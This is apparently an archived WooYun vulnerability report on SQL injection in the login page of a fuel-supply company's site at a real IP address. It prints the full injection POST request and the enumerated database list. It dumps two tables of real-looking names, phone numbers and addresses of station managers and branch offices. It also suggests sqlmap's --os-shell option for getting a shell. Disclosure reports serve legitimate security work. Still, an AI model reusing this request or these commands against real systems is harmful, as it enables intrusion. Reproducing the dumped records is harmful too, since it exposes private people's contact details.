乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-11: 细节已通知厂商并且等待厂商处理中 2015-10-12: 厂商已经确认,细节仅向厂商公开 2015-10-22: 细节向核心白帽子及相关领域专家公开 2015-11-01: 细节向普通白帽子公开 2015-11-11: 细节向实习白帽子公开 2015-11-26: 细节向公众公开
RT
url:
http://111.4.123.233/
测试:
POST /index.aspx HTTP/1.1Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*Referer: http://111.4.123.233/index.aspxAccept-Language: zh-CNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: 111.4.123.233Content-Length: 345Proxy-Connection: Keep-AlivePragma: no-cacheCookie: ASPSESSIONIDQSTRBQAQ=NOKLHONAIHBKHMKJOIAHCKBA__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNzcxMTU2NzM5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xY86HEIjFojtQyIxxQSmnXms4i3E%3D&__EVENTVALIDATION=%2FwEWBwKJ6vqtDwKvpuq2CALSwpnTCALxhMDIAQLS1%2BDUDwLQ16DXDwLfuIq5A5uZbFw9KjO73zs%2BCzCoSmWzWStp&username=admin&repassword=admin&ImageButton1.x=39&ImageButton1.y=10
available databases [5]:[*] master[*] model[*] msdb[*] tankers[*] tempdb
[24 entries]+------+--------------+------------+---------------+| 负责人 | 电话 | 加油站名称 | 地点 |+------+--------------+------------+---------------+| 李站长 | 0792-6762999 | 八里江加油站 | 九江八里江加油站 || 方克祥 | <blank> | 大白茆沙加油站 | 芜湖白茆沙水域 || 丁兆俊 | 13951774623 | 大胜关加油站 | 南京大胜关加油站 || 赵冬生 | 13952847539 | 高桥加油站 | 镇江高桥加油站 || 唐站长 | 13862449478 | 高资加油站 | 高资加油站 || 余站长 | 13607925785 | 蛤蟆石加油站 | 九江蛤蟆石加油站 || 湛振兴 | 13925077968 | 洪湖加油站 | 岳阳洪湖加油站 || 冉舜 | 023-62952657 | 鸡冠石加油站 | 重庆市南岸区鸡冠石加油站 || 王旭 | 0716-4730984 | 江陵加油站 | 江陵加油站 || NULL | NULL | 晴川加油站 | NULL || 蔡燕青 | 13952847538 | 润扬加油站 | 捷水道杨涵墩外圩红浮下北岸 || 黄学招 | 13925285875 | 蛇口加油站 | 蛇口 || 曾汉湘 | 13873017277 | 松阳湖加油站 | 岳阳松阳湖加油站 || 杨生兵 | 13896993563 | 土包河加油站 | 万州分公司忠县土包河加油站 || 张健 | 15955528477 | 芜湖何家洲加油站 | 何家洲加油站 || 李昌文 | 13855589799 | 芜湖马鞍山港区加油站 | 马鞍山港区加油站 || 朱俊胜 | 5966923 | 芜湖西华加油站 | 西华加油站 || 丁站长 | 027-86981356 | 武汉阳罗 | 武汉阳罗 || 潘站长 | 13851629160 | 兴隆洲加油站 | 兴隆洲加油站 || 冉承安 | 13873029101 | 岳阳莲花塘加油站 | 莲花塘加油站 || 肖惟 | 13975031310 | 岳阳油库 | 岳阳油罐 || 胡云峰 | 13607374506 | 岳阳沅江加油站 | 沅江加油站 || 赵勇 | 13511694303 | 镇江六圩加油站 | 六圩加油站 || 陶涛 | 13952843423 | 镇江扬高加油站 | 扬高加油站 |+------+--------------+------------+---------------+
+-----+------------------------+------------------------+-------+| 负责人 | 电话 | 地点 | 简称 |+-----+------------------------+------------------------+-------+| 丁兴平 | 0553-3851262 3850283 | 安徽省芜湖市健康二马路 44 号 | 芜湖分公司 || 罗宾 | 0556-5512502 5516046 | 安庆市沿江东路169号 | 安庆分公司 || 唐求明 | 021-63131423 63082206 | 国货路236号东物公寓8楼 | 上海分公司 || 韩海强 | 027-85666226 85674676 | 汉口沿江大道58号 | 武汉分公司 || 徐伯浔 | 0714-6316956 6316499 | 黄石市湖滨大道727-25# | 黄石分公司 || 严顺秋 | 0511-85028641 | 江苏省镇江市解放路 301 号 6 楼 | 镇江分公司 || 宋永龙 | 0792-8137016 8237725 | 江西省九江市孤溪埂 15号 | 九江分公司 || 罗红春 | 0510-6021369 6021259 | 江阴市通江北路 581 号 | 江苏分公司 || 胡跃生 | 0730-8601289 8601393 | 金鹗中路中石化长燃大厦五楼 | 岳阳分公司 || 樊士宏 | 025-58762633 58830045 | 南京市下关区公共路62号 | 南京分公司 || 秦自强 | 0574-86293496 86293203 | 宁波市镇海区胜利路 209 号三楼 | 宁波分公司 || 廖琪 | 0716-8116422 8214957 | 沙市区中山路82号 | 荆州分公司 || 孙振海 | NULL | 深圳 | 深圳分公司 || 付世元 | 0717-6966233 6966834 | 宜昌市夷陵路 160 号 --10 栋 | 宜昌分公司 || 胡安荣 | 023-63916484 63913481 | 中国重庆市渝中区解放东路 129 号 8 楼 | 重庆分公司 || 陈永进 | 023-58135500 58124546 | 重庆市万州区罗汉寺 5 号。 | 万州分公司 |+-----+------------------------+------------------------+-------+
试试sqlmap --os-shell
内网的机子 = =# getshell应该不难 找到路径就可以了
好冷好冷
危害等级:中
漏洞Rank:10
确认时间:2015-10-12 11:51
谢谢!我们将尽快修改。
暂无